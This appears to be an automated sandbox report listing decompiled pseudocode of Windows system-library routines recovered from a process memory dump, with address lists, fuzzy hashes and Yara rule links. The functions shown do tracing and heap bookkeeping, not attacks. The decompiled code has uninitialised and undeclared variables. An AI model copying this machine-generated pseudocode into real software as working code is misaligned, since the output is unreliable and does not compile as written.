C-Code - Quality: 91%

			E04B158EC(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0x4c0d360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0x4af5c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E04B15943() != 0 &&  *0x4c05320 > 5) {
					E04B97B5E( &_v44, _t27);
					_t22 =  &_v28;
					E04B97B5E( &_v28, _t28);
					_t11 = E04B97B9C(0x4c05320, 0x4afbf15,  &_v28, _t22, 4,  &_v76);
				}
				return E04B5B640(_t11, _t17, _v8 ^ _t29, 0x4afbf15, _t27, _t28);
			}

0x04b158fb
0x04b158fe
0x04b15906
0x04b1590a
0x04b1593c
0x04b1593c
0x04b1590c
0x04b1590c
0x04b15911
0x00000000
0x04b15913
0x04b15913
0x04b15913
0x04b15911
0x04b1591d
0x04b71035
0x04b7103c
0x04b7103f
0x04b71056
0x04b71056
0x04b1593b

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8ef2e762868209ecc40f1766766ca4c075e5595fa9a04e41da51597239960e3
Instruction ID: c0dcdfacc204259ea2eff3840ed86f70fa660db0dc1a5d9d8c68647a51fc0c41
Opcode Fuzzy Hash: e8ef2e762868209ecc40f1766766ca4c075e5595fa9a04e41da51597239960e3
Instruction Fuzzy Hash: FA018831A10104EBD724DA75DC1496E77E8EB84674B9540E9A90597250DE20FD018651

Uniqueness

Uniqueness Score: -1.00%

Function 04BCFEC0, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E04BCFEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x4c0d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E04B5FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E04B37D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x04bcfec0
0x04bcfec0
0x04bcfecf
0x04bcfed9
0x04bcfede
0x04bcfee0
0x04bcfeeb
0x04bcfef3
0x04bcfef6
0x04bcfef9
0x04bcff04
0x04bcff16
0x04bcff06
0x04bcff0f
0x04bcff0f
0x04bcff21
0x04bcff22
0x04bcff24
0x04bcff29
0x04bcff3e

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a95fd9f7d6a9fadf2146c30214c3870a9af94c9b6870b8579071748a7f68a7f0
Instruction ID: 7b00785b80acde89f2f9c637db7559508d52643e32bb3df5859480ec32807e7d
Opcode Fuzzy Hash: a95fd9f7d6a9fadf2146c30214c3870a9af94c9b6870b8579071748a7f68a7f0
Instruction Fuzzy Hash: 75018471E01208ABDB14DFA9D845FBEB7B8EF44714F0040AAF901EB290EA74AA01C795

Uniqueness

Uniqueness Score: -1.00%

Function 04BCFE3F, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E04BCFE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x4c0d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E04B5FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E04B37D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x04bcfe3f
0x04bcfe3f
0x04bcfe4e
0x04bcfe58
0x04bcfe5d
0x04bcfe5f
0x04bcfe6a
0x04bcfe72
0x04bcfe75
0x04bcfe78
0x04bcfe83
0x04bcfe95
0x04bcfe85
0x04bcfe8e
0x04bcfe8e
0x04bcfea0
0x04bcfea1
0x04bcfea3
0x04bcfea8
0x04bcfebd

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b42e9b3c2dafacbb0e3ffcb4560ba552b2817ddbaf9ffa18c3f41956371604a
Instruction ID: 10d6f5ace25b0118e3136bdad4c53e8314f4f46b5b767eb8a57edbff92a5a756
Opcode Fuzzy Hash: 6b42e9b3c2dafacbb0e3ffcb4560ba552b2817ddbaf9ffa18c3f41956371604a
Instruction Fuzzy Hash: FF018871E00218ABD714DFA9D845FBEB7B8EF44714F0040A6F900DB291DA74AA01C795

Uniqueness

Uniqueness Score: -1.00%

Function 04B2B02A, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B2B02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E04B37D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E04B97016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x04b2b037
0x04b2b039
0x04b2b03b
0x04b2b040
0x04b7a60e
0x00000000
0x00000000
0x04b7a61d
0x04b2b04b
0x04b2b04e
0x04b7a627
0x04b7a634
0x00000000
0x00000000
0x04b7a641
0x04b7a653
0x04b7a643
0x04b7a64c
0x04b7a64c
0x04b7a65b
0x00000000
0x00000000
0x00000000
0x04b7a66c
0x04b2b057
0x04b2b057
0x04b2b057
0x04b2b046
0x04b2b046
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: b69de8288ee47fafcaa6b252281a7eafb1d2faebcf25bcfdda22cb923595bfec
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: DD017171214584DFD326CB6DC984F6B77E8EB45754F0940E1E929CB651DA28FC40C620

Uniqueness

Uniqueness Score: -1.00%

Function 04BE1074, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04BE1074(intOrPtr __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E04BE165E(__ebx, 0x4c08ae4, (__edx -  *0x4c08b04 >> 0x14) + (__edx -  *0x4c08b04 >> 0x14), __edi, __ecx, (__edx -  *0x4c08b04 >> 0x14) + (__edx -  *0x4c08b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E04BDAFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E04B37D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E04BCFE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}

0x04be1074
0x04be1080
0x04be1082
0x04be108a
0x04be108f
0x04be1093
0x04be10ab
0x04be10ab
0x04be10c3
0x04be10cf
0x04be10e1
0x04be10d1
0x04be10da
0x04be10da
0x04be10e9
0x04be10f5
0x04be10f5
0x04be10fe

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42750e5d4b65a59750bdbdeb286aac37f63f64c22599946e5f1802de0b319d92
Instruction ID: a213e6e5b7dd30ce9b44bd2b070e0167be5d89a7c46d94c83bc77a0fd2c28a65
Opcode Fuzzy Hash: 42750e5d4b65a59750bdbdeb286aac37f63f64c22599946e5f1802de0b319d92
Instruction Fuzzy Hash: 450124726047419FD710EB3AC840B2A77E6EBC4314F14CAA9F88583691EF34F940CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04BE8ED6, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E04BE8ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x4c0d360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E04B37D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x04be8ed6
0x04be8ee5
0x04be8eed
0x04be8ef0
0x04be8efa
0x04be8f03
0x04be8f0c
0x04be8f15
0x04be8f24
0x04be8f27
0x04be8f31
0x04be8f43
0x04be8f33
0x04be8f3c
0x04be8f3c
0x04be8f4e
0x04be8f4f
0x04be8f51
0x04be8f56
0x04be8f69

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a56fde965f8262be06b2cb125d8d3881266c198de0fc7d87d930cf7419893283
Instruction ID: 64f9ffd581ec9e873f60831cda028a2f9c3d9d555a78515c20de671a68461311
Opcode Fuzzy Hash: a56fde965f8262be06b2cb125d8d3881266c198de0fc7d87d930cf7419893283
Instruction Fuzzy Hash: D6110070A006099FD704DFA9D441BADF7F4FB08300F0442A6E919EB341E734A940CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04BE8A62, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E04BE8A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x4c0d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E04B37D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E04B5B640(E04B59AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x04be8a62
0x04be8a71
0x04be8a79
0x04be8a82
0x04be8a85
0x04be8a89
0x04be8a8c
0x04be8a8f
0x04be8a92
0x04be8a95
0x04be8a9f
0x04be8ab1
0x04be8aa1
0x04be8aaa
0x04be8aaa
0x04be8abc
0x04be8abd
0x04be8abf
0x04be8ac4
0x04be8ada

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77310e7fa0d69bff732f9870b814e5beffd9166e20b56f0d960a84bac88c55e7
Instruction ID: 48b394a085eb81decf399a78b7bd70f1c2b7766de2a4a0bdba800496c710dc19
Opcode Fuzzy Hash: 77310e7fa0d69bff732f9870b814e5beffd9166e20b56f0d960a84bac88c55e7
Instruction Fuzzy Hash: 640121B1A0061C9FDB04DFA9D941AAEB7B8EF48310F10409AF905E7351DB34A901CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B1DB60, Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B1DB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E04B1DB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E04B1E7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L04B1E8B0(__ecx, _t14, 0xfff);
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x04b1db64
0x04b1db66
0x04b1db6b
0x04b1dbaa
0x04b1db71
0x04b1db76
0x04b1db7a
0x04b1dba3
0x04b1db7c
0x04b1db87
0x04b1db8b
0x04b74fa1
0x04b74fb3
0x04b74fb8
0x04b1db91
0x04b1db96
0x04b1db98
0x04b1db98
0x04b1db8b
0x04b1db7a
0x04b1db9d
0x04b1dba2

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: 723283b3ec7a3361e47b7a14e5c44450ca5c5b58c2313b8eb12da6d5c2e10524
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: 72F0F6732016229FE7726B558880F2BB69DCFC1B60F9600B5F5069B368CE60FC0296E0

Uniqueness

Uniqueness Score: -1.00%

Function 04B1B1E1, Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B1B1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E04B37D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E04B37D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E04B97016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x04b1b1e8
0x04b1b1ea
0x04b1b1f3
0x04b74a17
0x04b1b1f9
0x04b1b1f9
0x04b1b1f9
0x04b1b201
0x04b74a21
0x04b74a2e
0x00000000
0x00000000
0x04b74a3b
0x04b74a4d
0x04b74a3d
0x04b74a46
0x04b74a46
0x04b74a55
0x00000000
0x00000000
0x00000000
0x04b1b20a
0x04b1b20a
0x04b1b20a
0x04b1b20a

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: 217b0470bb863449d8c085285a3cf7deec40c9e0d4a4fe38e859a4136b4ceb5b
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: 1901F432304684EBDB229B6DC804F69BBD8EF81754F0940E2F9248B6B1EB78F801D354

Uniqueness

Uniqueness Score: -1.00%

Function 04BAFE87, Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E04BAFE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x4c0d360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E04B37D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x04bafe96
0x04bafe9e
0x04bafea1
0x04bafead
0x04bafeb3
0x04bafeb9
0x04bafec3
0x04bafed5
0x04bafec5
0x04bafece
0x04bafece
0x04bafee0
0x04bafee1
0x04bafee3
0x04bafee8
0x04bafefb

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcb6b89856d9d8f61176b31d20fe7949e21fb06e45c7cf945ea11490aae06a4d
Instruction ID: b0786e7c69b0f9a1eb4aaaa049af8daf8a255fe4f5fef2bf585bf5ef31f085d8
Opcode Fuzzy Hash: bcb6b89856d9d8f61176b31d20fe7949e21fb06e45c7cf945ea11490aae06a4d
Instruction Fuzzy Hash: 15011270A0420CEFDB14DFA8D545A6EB7F4EF08314F144599B919DB392DA35E911CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04BE8F6A, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E04BE8F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x4c0d360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E04B37D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x04be8f6a
0x04be8f79
0x04be8f81
0x04be8f84
0x04be8f8b
0x04be8f91
0x04be8f94
0x04be8f9e
0x04be8fb0
0x04be8fa0
0x04be8fa9
0x04be8fa9
0x04be8fbb
0x04be8fbc
0x04be8fbe
0x04be8fc3
0x04be8fd6

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1087284693e177337ce03397d0055b478d324ceea3eb911b0b7a8f9c32ae129d
Instruction ID: 3c58e005f83f3924103c3a0442dfda6b883881260662be95315b4c6de265ae1d
Opcode Fuzzy Hash: 1087284693e177337ce03397d0055b478d324ceea3eb911b0b7a8f9c32ae129d
Instruction Fuzzy Hash: BC013174A0060CAFDB04EFA9D545AAEB7B4EF58300F108499B905EB390EB34EA00DB94

Uniqueness

Uniqueness Score: -1.00%

Function 04BD131B, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E04BD131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x4c0d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E04B37D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x04bd131b
0x04bd132a
0x04bd1330
0x04bd1336
0x04bd133e
0x04bd1341
0x04bd1344
0x04bd134f
0x04bd1361
0x04bd1351
0x04bd135a
0x04bd135a
0x04bd136c
0x04bd136d
0x04bd136f
0x04bd1374
0x04bd1387

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8af0b5fb08be4d7a9c2cf864e7a9733aa4a938cba244d9583d9dee340c3f3df4
Instruction ID: b09e10b8749d46fba8a4febd7045a82ed2131a677c01b57ab61fae310a884ae9
Opcode Fuzzy Hash: 8af0b5fb08be4d7a9c2cf864e7a9733aa4a938cba244d9583d9dee340c3f3df4
Instruction Fuzzy Hash: 770131B1A0120CAFDB04EFA9D545AAEB7F4FF08710F008099FC45EB351EA34AA00CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04BD1608, Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E04BD1608(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t15;
				intOrPtr _t21;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_t26 = __edx;
				_v8 =  *0x4c0d360 ^ _t29;
				_v12 = _a4;
				_v20 = __ecx;
				_v16 = __edx;
				_v46 = 0x1024;
				if(E04B37D50() == 0) {
					_t15 = 0x7ffe0380;
				} else {
					_t15 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v52);
				_push(0xc);
				_push(0x20402);
				_push( *_t15 & 0x000000ff);
				return E04B5B640(E04B59AE0(), _t21, _v8 ^ _t29, _t26, _t27, _t28);
			}

0x04bd1608
0x04bd1617
0x04bd161d
0x04bd1625
0x04bd1628
0x04bd162b
0x04bd1636
0x04bd1648
0x04bd1638
0x04bd1641
0x04bd1641
0x04bd1653
0x04bd1654
0x04bd1656
0x04bd165b
0x04bd166e

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbcd321a8539fcf87cfeec69e77b374014d7918af368612cd774accb4cd31b48
Instruction ID: 6dca618e54358920a6831d136b7860afe151131bd43693878268f19c4c48db83
Opcode Fuzzy Hash: cbcd321a8539fcf87cfeec69e77b374014d7918af368612cd774accb4cd31b48
Instruction Fuzzy Hash: EDF062B1E04248EFDB04EFA9D845A6EB7F4EF08300F044099F905EB391EA34A900CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04B3C577, Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B3C577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E04B3C5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x4af11cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E04BE88F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}

0x04b3c577
0x04b3c57d
0x04b3c581
0x04b3c5b5
0x04b3c5b9
0x04b3c5ce
0x04b3c5ce
0x04b3c5ca
0x00000000
0x04b3c5ca
0x04b3c5c4
0x04b3c5c8
0x00000000
0x00000000
0x00000000
0x04b3c5ad
0x00000000
0x04b3c5af

